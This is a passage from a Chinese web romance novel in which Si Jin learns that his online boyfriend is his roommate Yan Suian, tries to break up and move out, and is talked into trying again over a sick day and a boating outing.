司谨身体微僵,又克制不住地回忆起了早上醒来时看见的那一幕。 “怎么了?” 宋晓西说:“感觉都这么久过去,他估计也要忘记之前的事情了吧,你要是不想跟他聊的话就不要勉强了,不过如果你真心想和他在一起,我也祝福你们,就是奔现一定要谨慎啊。” 他絮絮叨叨说了许多翻车的例子,司谨垂下眼眸,只应好。 不过多久电话挂断,他也到了星云城附近,快步上了楼收拾自己的东西。 走出浴室将洗漱用品收了,他路过主卧敞开的房门时脚步顿住,心中隐隐闪过犹豫。 最后还是大步走了进去,浴室的装潢和布置是那样熟悉,以至于如果他现在找出手机比较一下,就会发现随便的腹肌头像背景和这里完全一致。 他也不是没有进来过,为什么一点都没有察觉到呢? 脚步沉重,他正要出去,可目光却被床上被中露出的一角布料吸引了。 迟钝走过去,整齐叠起的被子边上放着一件柔软单薄的棉质睡衣,简单的格纹被洗到发白,是他之前寄给随便的。 眼眶逐渐酸涩,心脏蔓延开一阵细密的疼痛,他不知道该用什么心情来面对这一切。 虽然先前曾经猜到过这个可能性,可这个让他感到荒谬的猜想忽然成了真,却让他觉得难以接受。 他不知道自己是怎么回到房间的,看着床头整整齐齐叠着的睡衣,他忽然间意识到什么,下意识拿起那衣服,却看不出什么痕迹来。 这一切对他来说太过恐怖,着急将东西给收拾完了,他拨通了宋晓西给的电话,那边的师傅手上没有活,便答应了现在就过来。 拉开衣柜,里面的许多衣服他还没有穿过,现在看见只觉得难过。 他甚至还和随便说过关于室友的事情,而燕绥安看见的时候又是个怎样的心情呢?会在心里嘲笑他蠢笨吗? 司谨紧紧抿着嘴唇,听见手机里传出的消息叮咚声,心脏猛地剧烈跳动。 他不敢看消息,可在这种无助的情况下,他脑海中想到的第一个可以倾诉的人,居然还是随便。 多讽刺。 深吸一口气,他点开访心,没有看对面发过来的任何一条消息。 北极生活的小熊猫:【我们分手吧】 消息发完,他手指有些颤抖地直接选择了卸载,摁下红色按键的瞬间,眼眶蓦然湿润。 叮咚声四起,微信发来新消息,他不敢看,猜测燕绥安就要回来,犹豫片刻索性提上最重要的背包,准备先离开,其他的东西麻烦师傅帮他一起带过来。 燕绥安应该不会把他的东西扣在这里吧,毕竟根本没有必要。 提上背包去玄关换鞋,他出门前回头看了一眼安静宽敞的屋子,心底居然泛开一阵难言的不舍。 他不是舍不得这里,他只是怀念以前在这里和随便打电话倾诉心扉的那些过往。 重重舒出一口气,他戴上口罩去推门,可却听见外头传来输入密码的解锁声。 身体猛地僵住,他还未收回手,屋门便从外面拉开了。 来人的呼吸粗重,似乎刚匆匆跑回来,看见他的瞬间,着急的眼神变得晦暗,忽然间就安静了下来。 可司谨看见他,却是愕然睁大眼睛,下意识抽回手后退了半步,仿佛来人是什么可怖的伤人猛兽。 燕绥安垂眸,触见他手上拎着的背包,眼神瞬间变得冷漠下来。 他反手将身后的门关上,上前一步:“为什么要走?” 他的声音没有了变声器的阻隔,低沉而磁性,因为感冒的缘故微微沙哑,同司谨第一次和随便电话中的声线重合在了一起。 “我早就说过要搬走的。”司谨鼓起勇气说。 可拎着背包的手却止不住发起颤来。 燕绥安高大的身体伫立在他面前,像是一座无法越过的大山。 “我就这么让你讨厌吗?” 他的目光过于炙热,司谨只是和他对上视线的那一瞬,便有种被刺伤一般的错觉。 他撇开脑袋,不知道该说什么。 “这些都不重要,我只是觉得……我们不合适,还是不要在一起了。” 话音落下的瞬间,燕绥安猛地上前一步,捉住他拎着行李的手腕,高大火热的身体将他堵在墙角。 “宝宝。”他喊了那个让司谨不能更熟悉的称呼,“钓完我就跑,这样不合适吧。” 背包重重落地,司谨的身体控制不住地微微战栗,将脑袋低下去,声音也打着颤:“是你先骗我的。” 他要的是随便,而不是燕绥安。 想到这里,他打心底感觉委屈,眼眶和鼻尖止不住泛起浓烈的酸涩,眼前的画面也变得模糊不清。 “我都跟随便约好了,去玩游船,为什么是你?” 这句话他说的艰难,燕绥安忍不住攥紧拳头,咬着牙说:“我不能陪你去吗?从头到尾都是我在和你聊天,为什么不能接受我?” 司谨用力摇头:“你根本就不是。” “我就是!” 燕绥安心中掀起暴躁,用力捧起他的脸想要说什么,可看见司谨眼角坠下的眼泪,却忽然又开不了口。 司谨紧紧抿着唇,眼泪却还是止不住往下掉,肩膀轻轻颤抖着,像是难过到了极点。 燕绥安的心像是被一只手紧紧揪住,让他觉得连呼吸都变得十分困难,控制不住地俯身紧紧抱住司谨,他将脸埋进对方颈窝,像是不愿意将喜爱的玩具送人的小朋友。 “不要讨厌我,不要跟我分手。” 司谨伸手推他,可却无法撼动他的力量,双手反而被扣在两人中间,动弹不得。 他的大脑似乎割裂成了两半,一半还迟钝着没有反应过来现状,分析着和随便见面以后要做的事情,而另一半则混沌而又难过,两道全然不同的形象在里面打转,混乱不堪。 不知道过去了多久,他的身体逐渐卸去了力气,耳边却传来熟悉的手机铃声。 后知后觉反应过来那声音是从自己身上传来的,他动了动手,想要去摸手机,却被燕绥安抱得更紧。 “有人给我打电话。”司谨刚哭过,声音可怜极了。 燕绥安动作微顿,这才稍微放松了些力气,可还是没有松开他。 “宝宝。” 司谨没有应他,拿起手机接通,搬家师傅的声音在过分安静的玄关炸开,十分清晰。 “小伙子收拾好了没有?是九栋楼吗?我已经把车子开到这个门了,你直接把东西搬下来就行。” “好,我——” 司谨还没说完,手机便被一只滚烫的大手拿走。 燕绥安接起电话,语气冰冷告知师傅不用搬了,并且报了自己的手机号,让那师傅加他要误工费。 电话挂断,司谨怔愣片刻,有些生气。 “燕绥安!” “我在。”燕绥安面不改色搂住他,低哑的嗓声粘人,“宝宝,我不准你搬走,那边的房子又冷又阴暗,你住不习惯的。” 司谨没想到他连自己要搬去的地方都搞清楚了,此时肩膀剧烈起伏,忍不住去推他,可触摸到燕绥安的侧颈,却感受到了灼人的温度。 “你……” 燕绥安好像没有察觉,还可怜兮兮地抱紧他,脑袋在他脖颈上轻轻蹭了蹭。 “宝宝,不要跟我分手,我再也不会骗你了。” 他做出承诺时的语气认真无比,可是司谨却不知道该不该相信他了。 他们聊了这么久的天,燕绥安明明有很多次都可以和他说清楚,可是他却没有这么做,而是选择一直欺骗他。 昨天晚上发生的那些事情,他并不是完全记不清楚,直到现在他还能够回想起知晓面前的人是随便时,他心中翻涌起的欣喜和依赖。 他没有和随便见过面,可是这些时间的了解,让他觉得随便是一个可信的人,至少这样一个人,不应该在他身边一直欺骗他,更何况……他一直觉得燕绥安并不是很喜欢他,从第一次见面的时候他们就合不来,为什么燕绥安会是随便? 无数的思绪卷在一起,像是只打结的毛线球,让他在这样的情况中无法准确找出能够牵引所有的线头。 司谨脑子一片混乱,只能转开脑袋,忽然感受到手指抵住的温度,不禁怔了怔,小声提醒他。 “你好像发烧了。” 燕绥安没有动,搂着他的腰贴近,小声说:“宝宝帮我看看,我感受不出来。” “你不要这样。”司谨已经没有想哭了,微微皱着眉头,有些难为情。 他记忆里的燕绥安总是高高在上的,看人的时候都只是扫一眼,态度冷冰冰,跟现在完全是不同的形象。 我知道随便是这种粘人的性格,可是他完全没有办法把这两个人想象成同一个。 真的很奇怪。 没有得到他的回应,燕绥安也不着急,抬起头凑过来,狭长的眼眸微微垂下,透着点平时根本不会有的讨好。 “宝宝感受一下我热不热。” 司谨下意识抬起头,还没有反应过来,就被他抵住了额头。 距离太近,他们的呼吸甚至交织在一起,额头滚烫的温度传过来,让司谨愕然睁大了眼睛。 “你真的发烧了。” 燕绥安又凑下来跟他碰了碰鼻尖,眼睛微微弯起,很满足似的:“那宝宝就不要走了。” 司谨想说他幼稚,可是看着他脸颊烧红,眼睛里也泛着红血丝,忽然间就说不出来重话了。 “你、你去休息一下吧。” 他感觉燕绥安的状态都不太对了。 “那宝宝跟我一起去。”燕绥安语气中带着恳求,“你别走,我们好好聊一下,可以吗?” 司谨从来没见过他这副模样,此时虽然不情愿,可看着他不佳的状态,还是勉强点了头。 “我不走,你先去吃点药休息一下吧。” 燕绥安顺势牵住他的手:“宝宝跟我一起好不好?我怕我醒来你就走了。” 司谨没办法,只能跟着他进了房间。 燕绥安的房间拉着窗帘,只有微弱的光芒洒进室内,他走到床边不情不愿脱了外套,等看见床上那套睡衣后,又小心看了眼司谨,不着痕迹将其收进了被子里面。 假装没有看见他的小动作,司谨叹口气,想到自己从酒店回来没有吃早餐,燕绥安肯定也是直接赶回来的,便想着去外面拿手机点餐。 可他刚要走,燕绥安就变了脸色。 “你去哪?” “拿手机。”司谨被他吓了一跳,只好解释,“你不饿吗?” 燕绥安似乎纠结了一会儿,大步过来扣住他的肩,让他坐在床沿边上,自己出去将手机拿了进来。 “想吃什么?” 司谨定睛一看,发现燕绥安拿的是他自己的手机。 “……”他现在也冷静下来,没有方才那样大的情绪波动,只好解释,“我真的不会走。” 燕绥安还是那样看着他,眸中的不安分外明显。 “你点吧。”司谨不跟他争了。 燕绥安两三下点完,这才乖乖脱了外衣上了床。 只是司谨正坐在床沿边上愣神,搭在身侧的手就被覆住了。 他回头,看见燕绥安侧躺着还不愿意闭眼,像是生怕他趁着自己睡着跑了。 “你……” 司谨很无奈:“我就坐在这里,等早餐到了再说吧。” 燕绥安压根没听他说什么,紧紧抓着他的手,只是没多久便被侵袭而来的睡意笼罩,缓缓合上了双眼。 坐在床沿,司谨盯着床头的柜子愣神,脑海中闪过这些时间和随便聊天打电话的温馨,又想起来上次他从京市回来,燕绥安晚上在家里煲鸡汤。 所以那个时候都是燕绥安特意安排好的吗?给他升房,知道他回到家很晚,特意提前炖了鸡汤给他煮面。 沉重的心情变得复杂,他缓缓将目光落在熟睡的燕绥安脸上,在触见那张好看到有些过分的面容时,脑海中浮现出的第一幕还是他冷着脸的模样。 还是习惯不了啊。 不知道过去多久,外面传来门铃声,猜到是外卖来了,司谨下意识要站起来,可那原本虚虚覆在他手上的力道却大了起来。 回过头,燕绥安不知什么时候醒了,掀开被子起身。 “我去开门。” 司谨看着他脸色不太好看,停顿片刻还是跟了出去,在燕绥安取外卖时从柜子里找出退烧药。 “吃吧,饿不饿。”燕绥安回来,顺手在他头上揉了一把。 司谨动作顿了顿,迟疑着去倒了两杯热水,顺手将其中一杯和退烧药推到他面前。 “吃完早餐以后把药也吃了吧。” 燕绥安眼睛微亮:“谢谢宝宝。” 司谨还是很不习惯他这样叫自己,可是也不敢多说什么,便只是埋头把自己的那一份早点给吃完了。 吃过药,燕绥安的脸色也没有好看多少,主动起身将垃圾收拾了,然后又盯着司谨不动弹。 “你去睡一会吧。”司谨被他看得浑身发毛,不自然地将目光挪开。 宿醉的感觉并不好,他折腾了一早上,现在也是身心疲惫。 他知道自己暂时可能走不掉了,至少也要等燕绥安清醒以后两个人聊开,可是对着满怀期待的燕绥安,他却一句话也说不出来。 “宝宝,你也要补觉吗?”燕绥安起身朝着他走过来,眼睛发亮,“我们一起睡好不好?” 司谨微微睁大眼睛,有些警惕。 “你的床铺都收拾了。”燕绥安提醒他。 司谨这才想起来,他刚才早就把被子和床单什么的都打包好了,现在床上除了一张床垫以外什么都没有。 “我睡沙发就好。” 他话音刚落,燕绥安的脸色就变得难看:“不行。” 司谨紧张抬眸,面前的人俯身下来,摸了摸他还刚哭过还有些泛红的眼角。 “宝宝要是不愿意跟我一起,那我去睡沙发好不好?”他的嗓声微哑,莫名带着蛊惑,“可是我生病了,睡沙发可能又会着凉,宝宝就和我一起可以吗?我的床很大,不会对宝宝做什么的。” 司谨困得不行,抿住嘴唇还是摇摇头。 “我去收拾一下房间。” 他的动作很快,有些慌乱地从燕绥安怀里出去,回到房间里找出刚拆下的床单被子要铺上。 做完这一切,他脱掉外套,摸了摸被子,发现因为昨晚没有关窗户,所以有些潮冷。 于.言正纠结着要不要换一套,身后忽然传来力道。 燕绥安一把将他扛在肩上,大步朝着自己房间走去。 肚子被硌在他坚硬宽阔的肩膀上,司谨只愣怔一秒,便不住开始挣扎。 “你干什么?” 燕绥安一言不发,将他带进了自己房间,放下时用手掌托着他的脑袋,好让柔软床垫的震颤没有波及本就眩晕的大脑。 眼前的画面打着圈,司谨的鞋早在掉在了半路上,这会儿难受蹙紧眉头,下一秒却被燕绥安紧紧抱住,用被子裹紧。 “别动了,睡吧。” 背后的身躯滚烫无比,惹得司谨不住打了个颤。 头顶的呼吸又沉又重,听起来是难受到了极点,可勒着他的手臂却丝毫没有松懈力道,轻易让他想到了早上起来时的画面。 这一刻,像是又重叠了。 微凉的手脚被感染了热度,司谨僵硬的身体逐渐放松下来,可是心情却还是没有丝毫好转。 昏暗的房间中视野没有焦点,就在半梦半醒间,身后忽然传来燕绥安低哑的声音。 “在京市的时候,我经常睡不着。” 司谨下意识睁开眼睛,想要回头去看,可思忖片刻还是没有动作。 “到了海城以后好了很多,尤其是和你搬到一起,只要想到你就在一墙之隔的房间,我就觉得心情很好,我很紧张,不知道要怎么和你相处,怕你觉得我奇怪。” 燕绥安说完,微微收紧了揽着司谨的手臂,发出一声极轻的喟叹。 “宝宝、谨宝,你不喜欢别人打扰,以后都不会有人再来,但是不要讨厌我。” “喜欢我吧,少一点也没关系。” 司谨不知道燕绥安是故意说给自己听的,还是以为他睡着以后的自言自语。 只是到最后他也没有回应,在这样的温暖下缓缓闭上眼睛。 第34章 下午再醒过来时,燕绥安身上的温度已经降低了很多,司谨趁着他睡着摸了摸他的额头,总算放心下来。 小心翼翼起身,中途却还是被燕绥安条件反射勾住了手,像是生怕他离开。 司谨睡了一家醒来依然无法适应他这副模样,同他记忆中冷淡的燕绥安太过割裂,可是他也没有办法把燕绥安想象成随便。 重重叹了口气,他起身穿上毛衣便离开了房间,轻手轻脚关上房门,他还贴近听了一会儿,确定燕绥安没有醒过来才松口气。 到了玄关鞋柜上找到自己的手机,他坐在沙发上点开,发现宋晓西一小时前给他发了不少消息。 【刚醒,东西都搬完了吗?我吃个饭就过来】 【宝贝,你还没来呢?我去星云城找你?】 【人呢人呢?】 【师傅说你不搬了,咋回事啊?】 司谨站起身,去窗边给他拨了电话,对面似乎一直等着他回应,几乎是秒接。 “宝贝?”宋晓西语气着急,“你怎么一直不回消息啊,担心死我了。” 司谨也不知道要怎么跟他说现在的情况,纠结半天还是说:“我可能暂时搬不了。” “怎么回事啊?”宋晓西察觉到他情绪不对,“是你室友有意见还是房东不答应?” 司谨心情低落朝着楼下看去,还是决定不给他添麻烦:“就是室友不同意,然后我想合约还有一个多月,就再等等吧。” 对面安静了两秒,宋晓西安慰他:“没关系,其实你那边的房子真心不错的,房东如果愿意跟你谈价格的话,你要不试着让他再减一点好了,这边的真心比不上你那里。” “嗯。”司谨叹口气,“我现在就是担心二姐。” 宋晓西笑了:“这有什么好担心的,我不是说新来的同事也要租房子吗?当时他们就说了如果你不要那边的,就租给他们,二姐那间我也会一直帮你留着。” “嗯。”司谨现在脑子一团糟,根本没有心思再去想别的事情,对帮了这么多忙的宋晓西只有感激,“真的麻烦你了。” 宋晓西无所谓道:“这算什么事,不过你要是心情不好记得随时找我,别自己憋在心里,好不容易休息可以出去玩玩。” “嗯。” 他一说出去玩,司谨便又想到了原本和随便约好的约会。 挂断电话,客厅内重新安静下来,他曲起腿坐在沙发上,脑子里一片空白,没有任何想法,两天的假期来之不易,他不知道自己可以去做什么,也不知道要怎么面对一会儿醒来的燕绥安。 呆坐了半天,他后知后觉想起来还没有吃午饭,点开手机浏览外卖平台,却又找不到想吃的东西。 随便点了一份木桶饭,他打开编辑账号回复消息,以此转移注意力,可是等做完了这一切,时间也只是过去了半小时,他发呆良久,鬼使神差点开了许久没有进入的码字软件。 其实在还没有做编辑的时候,他就有写小说的习惯,只是因为时间不够多,每次只能写一点点,工作以后能顾及的时间变得更少,以至于现在点开记录文档看着那些陌生的文字,竟然有了种恍若隔世的错觉。 草草将上面的内容看了一遍,他几乎没有过多停留,便顺着上面的剧情点继续向后发展。 无聊时专注力总是很强,时间一分一秒过去,等大门传来门铃的声响,司谨才抬起头,却只觉得好像只是眨眼的功夫,软件上的文字却增加了许多。 他松口气,将手机放在一边起身去拿外卖,可与此同时,主卧房间里传出一阵急促的脚步声,司谨关上门回到餐厅,就看见燕绥安脸色黑沉朝着他看过来。 视线落在他手上的外卖袋,才像是意识到什么,缓和了几分情绪。 司谨刻意忽视了他的慌张,小声问:“饿吗?” “嗯。” “那来吃点东西吧。” 听见他这么说,燕绥安似乎很高兴,听话在他对面坐下。 一顿饭吃得安静,司谨只简单吃过了点,起身离开后从柜子里取了体温枪。 燕绥安喝过水抬起头,察觉到他的意图便乖乖坐在座位上,测过体温后才睁开眼,深黑的瞳孔泛着淡淡的亮光。 “还有一点低烧,要再吃一点感冒药。”司谨说完,将体温枪收回去。 等他再回来,燕绥安已经自己找了药吃下。 “宝宝。” “不是说要谈谈吗?” 司谨打断他的话,两只手有些紧张地揪在身前,不敢看他。 “你现在应该很清醒吧,我们现在聊?” 燕绥安脸上的笑容淡去,没怎么思考就点了头:“好。” 餐桌上的东西被收好,司谨倒了杯水喝,正走到客厅,就看见燕绥安正垂眸看着沙发上还未灭屏的手机。 一怔,他瞬间感觉局促,放了水杯上前拿起手机,摁下了关闭屏幕,“你不要乱看。” 燕绥安有些失落:“我不是故意的,一过来就亮着。” 说完看见司谨微蹙眉头不太开心的样子,又补充一句:“写得挺好,发布了吗?” “没有,公司有规定,在职编辑不能写文。” 司谨垂下眼眸,总觉得话题偏了,于是趁着燕绥安还没接话,又回到了正题:“你说要聊的。” “嗯。” 燕绥安坐在距离他半臂的位置,似乎很想往他这边挪,但看着他的脸色又有些不敢,只好转头看过来,说:“我不想分手,也不想你搬走,除了这两件事,其他的我都不会阻止。” 司谨的表情不好看:“之前我们说过试一试的,而且你那时候说过,就算不能顺利在一起也不会怎么样。” “宝宝,你不能这样。”燕绥安的声音低沉,带着点儿隐忍,“我很多次都想告诉你,但你说不喜欢我,所以我才瞒着你的,我真心想和你在一起,不可能在网上装一辈子,难道你对我就没有一点感情吗?” 他说着,忽然抓住了司谨搭在沙发边缘的手。 下意识要抽回来,可仓皇抬头,却对上了一双偏执诚挚的眼。 燕绥安的眼眸狭长而深邃,双眼皮的褶皱很深,以至于瞳孔中泛出的情感是那样清晰能够让人感知到,就像司谨现在,似乎也能够感受到他的难过和不舍。 “我……”他顿了很久,还是坚决地摇了摇头,“我很喜欢随便,我很感谢之前你提供的帮助和陪伴,可是。” 他忽然有些说不下去了,这些话太过伤人,他不想要看见燕绥安再露出更难受的表情,可这些的的确确又是他的真心话。 他从来不是一个随心所欲的人,那些或恶毒或直白的话总是让他觉得难以启齿,更何况此时在他面前的人,还是他曾无比信任的存在。 “算了。”燕绥安忽然开口。 司谨没明白他的意思,忽然怔了怔。 可下一秒,燕绥安牢牢捉住了他的手,那张勾魂摄魄般的俊美面容骤然凑近,眸中闪烁着执着的光芒。 “你真的讨厌我吗?看见我就觉得难受吗?” 这当然不可能。 就算司谨对燕绥安这个人没有什么太多的好感,可他毕竟也是自己的舍友,况且还长着这样一幅迷惑人心的皮囊,怎么看都不会让人觉得厌恶。 于是司谨迟疑了不到一秒,便诚实地摇了摇头。 他还想解释喜欢人不是光看脸的,可燕绥安没有给他开口的机会。 “那我们就再试试,不行吗?”燕绥安眼角微微垂下,低沉的语气软了几分,“反正我也没有转正,就当做重新认识,好不好宝宝?我真的不能跟你分手,你不喜欢我哪里,我全部都改掉。” 他越是说着,就越是情不自禁地逼近,以至于司谨的脊背被抵进柔软的沙发椅背,没办法从他的怀中逃脱。 “你不要这样。”司谨艰难地憋出一句话,脸颊在不知不觉间已经红了个彻底,“你很好,哪里都不用改,只是我们不太……” “我不想听后面的话了。” 燕绥安的眼神沉了下来,看着他迷茫的表情,还是忍不住将整个身体压在他身上,双手将他搂进自己怀里,像是只撒娇的大狗。 “宝宝,试一下好不好?跟之前一样,不要走。” 他还没有完全退烧,浑身热的厉害,让司谨的身体也沾染上了热意。 他几乎没有跟人有过这样亲密的肢体接触,近到呼吸间全是对方身上那股冷冽的香气,陌生可又觉得安心。 脑子运转速度很快,可是却怎么也找不出可以用的方案。 沉默间,燕绥安又将他抱紧了些,顺带着吸了吸鼻子,声音又闷又哑:“昨天晚上急着去接宝宝,连衣服都忘了换,巷子里风好大,吹得头疼。” 司谨回想起昨晚他被燕绥安带上车时,肩上似乎还披着对方的外套,一下子就蔫了下来。 “那你赶紧去休息吧。” “我怕等我去睡觉,一觉醒来你就搬走了。”燕绥安又在他肩上蹭了蹭,“我要一直盯着你。” 司谨不自然地看向一边,只觉得他的头发洒在自己的侧颊和脖颈上,有点痒。 “我不会的,你去吧。” “那你答不答应?” “……” “宝宝,我就这么让你讨厌?我不会对你做什么的。” 司谨被他磨得不行,犹豫良久也找不到更好的办法,只好勉强点了头:“先这样吧,等你病好了再说。” “宝宝,你是答应了吗?”燕绥安身体忽然一僵,接着便从他肩上抬起头,漆黑的瞳孔中甚至透着亮晶晶的光芒。 司谨被他过分炙热的眼神烫了一下,下意识垂下眼眸,只得点了头:“嗯。” 他告诉自己,如果不答应的话,燕绥安也会一直软磨硬泡,反正现在也没有别的办法,就像之前答应随便那样,和燕绥安相处一段时间,也不会怎么样。 现在脑子太乱,他根本想不到更好的办法。 燕绥安闻言立马高兴起来,又凑过来抱住他,将脸埋进他的小腹,力气很大。 “好了,你去睡觉吧。”司谨有些难为情,伸手去推他的脑袋。 可是得到他的点头答应后,燕绥安却好像来了劲,问:“那你呢?” 司谨犹豫片刻,算着现在是时间还早,便道:“假都请了,我也没什么事情做,晚上准备去一粟兼职。” 反正一粟一直都是需要兼职的,他现在和程姐说一声也来得及。 谁料燕绥安听后却忽然道:“宝宝请假,不是和我约会吗?” “……” 不知道该说什么,司谨只能沉默。 的确是约会,但并不是这两天,原本他的安排是这几天好好工作,等到周四开始请假,然后跟随便一起出去,陪着对方在海城游玩几天。 可是因为昨天晚上发生的那些事情,让他改变了想法,原本腾出来的这两天假期……应该是用来收拾新家的。 但按照现在的情况,一时片刻也没有办法搬走了。 他长久不回应,燕绥安便也猜到了。 正准备随便找点借口,搭在膝盖上的手指却被攥住捏了捏。 “司谨。” 这似乎是燕绥安第一次这么认真喊他的名字。 司谨回过神来,错愕垂眸,看见燕绥安眼眸发亮,说:“我们去玩游船吧。” “现在吗?” “对,我们不是很早就约好要去的?”燕绥安没有任何迟疑,起身捉住他的手腕,“现在过去时间正好,今天也有太阳。” 司谨迷迷糊糊被他扯起来,等披上了外套走到玄关换鞋才骤然反应过来现在的情况。 “你不是发烧难受吗?” 燕绥安勾起唇角一笑:“能和宝宝一起出去玩,我自然就不难受了,而且生病了晒晒太阳对身体也好。” 司谨说不过他,只能跟着一起出门。 只是等到了地方,才发现游船的位置已经排了长队,看起来想要趁着天气好去中心湖游船的人也不少。 远远看着,司谨抿抿嘴唇看向燕绥安微微发红的脸颊,还是说:“我们在附近走走就好了,这里排队的人这么多,等排到可能天都要黑了。” 燕绥安却只是捏捏他的手:“没事,想喝什么吗?我去买。” “我不渴。”司谨摇摇头。 但燕绥安看了眼前面两两成对的队伍,却想到什么似的:“你在这等我,马上回来。” 司谨怔一下,想喊住他,可人一眨眼就大步离开不见踪影了。 他在队伍里又排了一会儿,看着前面不少游客上了船,但回来的却寥寥无几,扫了眼时间,忽然就不抱希望了。 犹豫片刻,他正打算给燕绥安发消息,脸颊却被温热的杯子贴了一下。 错愕转头,脑袋上被扣了一顶遮阳帽,他一抬头就看见燕绥安递过来一杯热橙汁。 “刚去后面买的,不知道味道怎么样。” 司谨抬手整理了一下帽子,迟疑接过:“谢谢。” 吸管早插好了,他低头喝了一口,味道还不错,橙香味浓郁,不太酸。 “我们要不回去吧。”他犹豫片刻还是提议。 燕绥安却将手搭在他肩上,使了个眼色:“我们不用排了,直接去就行。” 司谨莫名其妙被他带到了售票处,那人只扫了他们一眼,便将他们给放了进去。 “不是没船了吗?” “我订了六人位的。”燕绥安在身后说,“今天来的大多数都要双人船,四人不用排。” 司谨穿上浅橙色的救生马甲衣上了船,看着比别人都大一号的船和浆,有点不知所措,只能看向燕绥安。 “你会划船吗?” “放心。”燕绥安就坐在他对面,闻言笑了起来,“不是你说我力气大,会比别人都划得快吗?” 在网上说的那些话被他在这种情况下说出来,让司谨不禁感觉脸红。 其实中心湖还有踏板船,但司谨还是喜欢这种自己动手的感觉,不过多时有些出汗,他一回头才发现已经出去很远了。 “休息一下。” 燕绥安腾出手摸了摸他的后背,让他先把外套给脱了。 “会不会不安全?”司谨迟疑。 燕绥安笑了,示意他看自己的动作。 他的确是很专业的,调整方向的动作都很迅速稳当,跟别的船甩开了很长的距离,以至于他们现在周围也没有一艘船。 乖乖将外套脱掉叠好,司谨重新套上了薄薄的救生衣,揉了揉酸痛的手臂,转头看着燕绥安划船的动作,今天一整天躁乱的心情忽然间就平静了下来。 划得够远,燕绥安也停下了动作,悠闲靠着看周围的风景。 “在船上看见的的确不太一样。” 司谨嗯一声,想了想拿起手机对着不远处的公园拍了照片。 阳光正好,水面泛着粼粼波光,静谧而又美丽。 “宝宝。”燕绥安忽然看向他。 司谨将手机放在,茫然看向他,没有应声。 燕绥安也没不高兴,若有所思问:“假如随便真是个陌生人,你跟他来玩游船,会说点什么?” 他这问题措不及防,叫司谨止不住又是一怔。 半晌,他摇摇头:“我没想过。” 其实在这段关系里面,一直都是随便在占据主动,他的确没有想过太多,只是潜意识里明白,随便一定会提前准备好话题。 “那你现在把我当成陌生人呢?”燕绥安声音温柔,循循善诱,“你想问我什么吗?” 这个想象对于司谨而言有些困难,他迟疑了很久才开口。 “可能…会问一下你的家庭情况。”说完他自己都觉得没意思,垂下了脑袋,“我不是很会聊天。” 燕绥安笑了笑:“那你也可以问我。” 司谨抬起头,对上了他含笑的眼眸。 “我妈你都见过很多次了,她这个人就是太热心,没什么边界感,我爸现在算是办退休的状态,老头人也很爱说话,闲着没事干就装深沉,表面看着是挺唬人的,实际什么都听我妈的。”燕绥安说着又笑了,“我上面还有一哥一姐,他们平时很忙,回家也见不着什么面,关系算是还不错,但也是一见我就各种唠叨,所以在这个家我算是食物链最底层。” 司谨认真听着,有点儿艳羡:“但是你家里人肯定都对你很好。” 从封阿姨对燕绥安的态度就可以看出来,他作为家里最小的孩子,肯定是被宠着长大的,更何况……他还遭遇过拐卖的事情,这肯定会让家里人对他更为紧张。 “那宝宝呢?”燕绥安好奇。 司谨犹豫两秒:“我爸爸妈妈都在乡下,开了一家杂货店,我大姐在老家帮忙,大哥过年刚结婚摆过酒席,去城里生活了,二姐应该过几天就会来海城,我还有一个弟弟,但是跟他不熟悉。” “你家里人好多。”燕绥安好像想起来什么,“你父母不喜欢你?” 这话说的很直白,可是司谨听后居然也没有感觉不自在,而是点了点头:“对,他们最喜欢的是我大哥,可能是因为他的嘴比较甜,会跟他们说很多好话,承诺一些事情。” “那不就是画大饼。”燕绥安撇撇嘴,“也是蠢到家了。” 他说完脸色微变,意识到自己失言,又小心看了眼司谨:“我瞎说的,你别生气。” 司谨眨眨眼,没有什么表情:“没关系,你说的是实话,他们就是这样。” 说到这里沉默片刻,燕绥安忽然道:“等二姐来了,让她住在星云城吧。” 未等司谨拒绝,燕绥安便补充道:“范思袁那里的房间一直给你姐姐留着,她没来过海城,住近点你也放心,何况这里位置不错,去她工作的地方也方便。” “你和范思袁认识。” 司谨睁大眼睛,才终于回想起来那天范思袁的不对。 正好赶着他下班的时间下楼贴出租广告,还特意让他瞧见,带着他看完房以后不出去把手上的广告贴完,反而跟着他一起回家了。 那时他只顾着将这个消息告诉二姐,没有来得及想更多,现在才发现自己的迟钝。 “范思袁是我朋友,但他是真的正好有房间出租,我觉得合适,让他先预留下来,你也想让二姐来到海城过得好一点吧,谁来大城市都不是为了受罪。” 燕绥安字字恳切,每一句话都戳中了司谨的心中想法。 犹豫良久,他还是松了口气。 “谢谢你。” 见他妥协,燕绥安面上总算浮现笑意。 “跟我客气什么。” 可下一秒,司谨又想到什么:“所以,其实我们住的这间房子,也是你自己的吧。” “……” 燕绥安的笑容僵硬两秒,忽然捂着脸轻咳两声:“宝宝,你听我解释。” 第35章 回到家里时间已经很晚了,燕绥安在回来的路上点了一粟的外送,司谨洗漱完出来便看见桌上已经摆开了他熟悉的饭菜。 “饿不饿?” 燕绥安刚才也简单冲了澡,玩了一下午,他的烧完全退了,整个人看着精神不少。 “嗯。”司谨在他对面坐下,不由得感叹他的身体素质真好。 “宝宝,明天还有一天假,你准备做什么?”燕绥安有些期待地看着他。 其实司谨想让他不要再那样叫自己了,可是握着叉子鼓起勇气抬头,对上他的眼神以后又觉得说了也不会有任何的作用,最后又只能妥协地叹口气。 “明天我和程姐说了,去餐厅帮忙。” 燕绥安瞬间蔫了下来:“你怎么就是个工作狂呢?” 司谨假装没有听见他的话,他在外头玩了一下午,现在也饿得不行,等回过神来便已经将面前的大半饭菜都扫荡空了,当他意识到这点后,便紧张地看了燕绥安一眼,正要放下刀叉,对面的人却忽然将自己那份牛排推了过来。 “宝宝还吃得下吗?这份给你吧,我不太喜欢这个酱,他们给送错了。” 司谨怔一下,乖乖把他那份也给吃了。 晚上给燕绥安测过体温,确定已经完全退烧,他才完全放心下来,去自己房间收拾好床铺,准备休息。 可燕绥安却好像不放心,洗过澡以后来敲他的房间门,提出要帮他一起把收拾出来的行李给放回去。 看他故作无意说帮忙的模样,司谨很清楚他是又跑自己偷偷拎着东西要跑,纠结良久也只能让他进来,两人花费了不到一个小时就把所有东西都归位了。 做完这一切,燕绥安紧绷的心情终于缓和下来,离开房间前眼睛发亮,跃跃欲试地看向司谨。 “你还有事情吗?”司谨对上他幽深的眸,莫名紧张。 燕绥安面不改色,微微俯身:“我想要晚安吻,可以吗宝宝?” 今天他已经顶着这张冷淡精致的脸说出太多让司谨震惊的话了,以至于现在听见,司谨居然没有多少惊讶。 微微别开视线,他还是认真摇摇头:“不要。” 见他如此果断拒绝,燕绥安显然怔了一下:“为什么?” 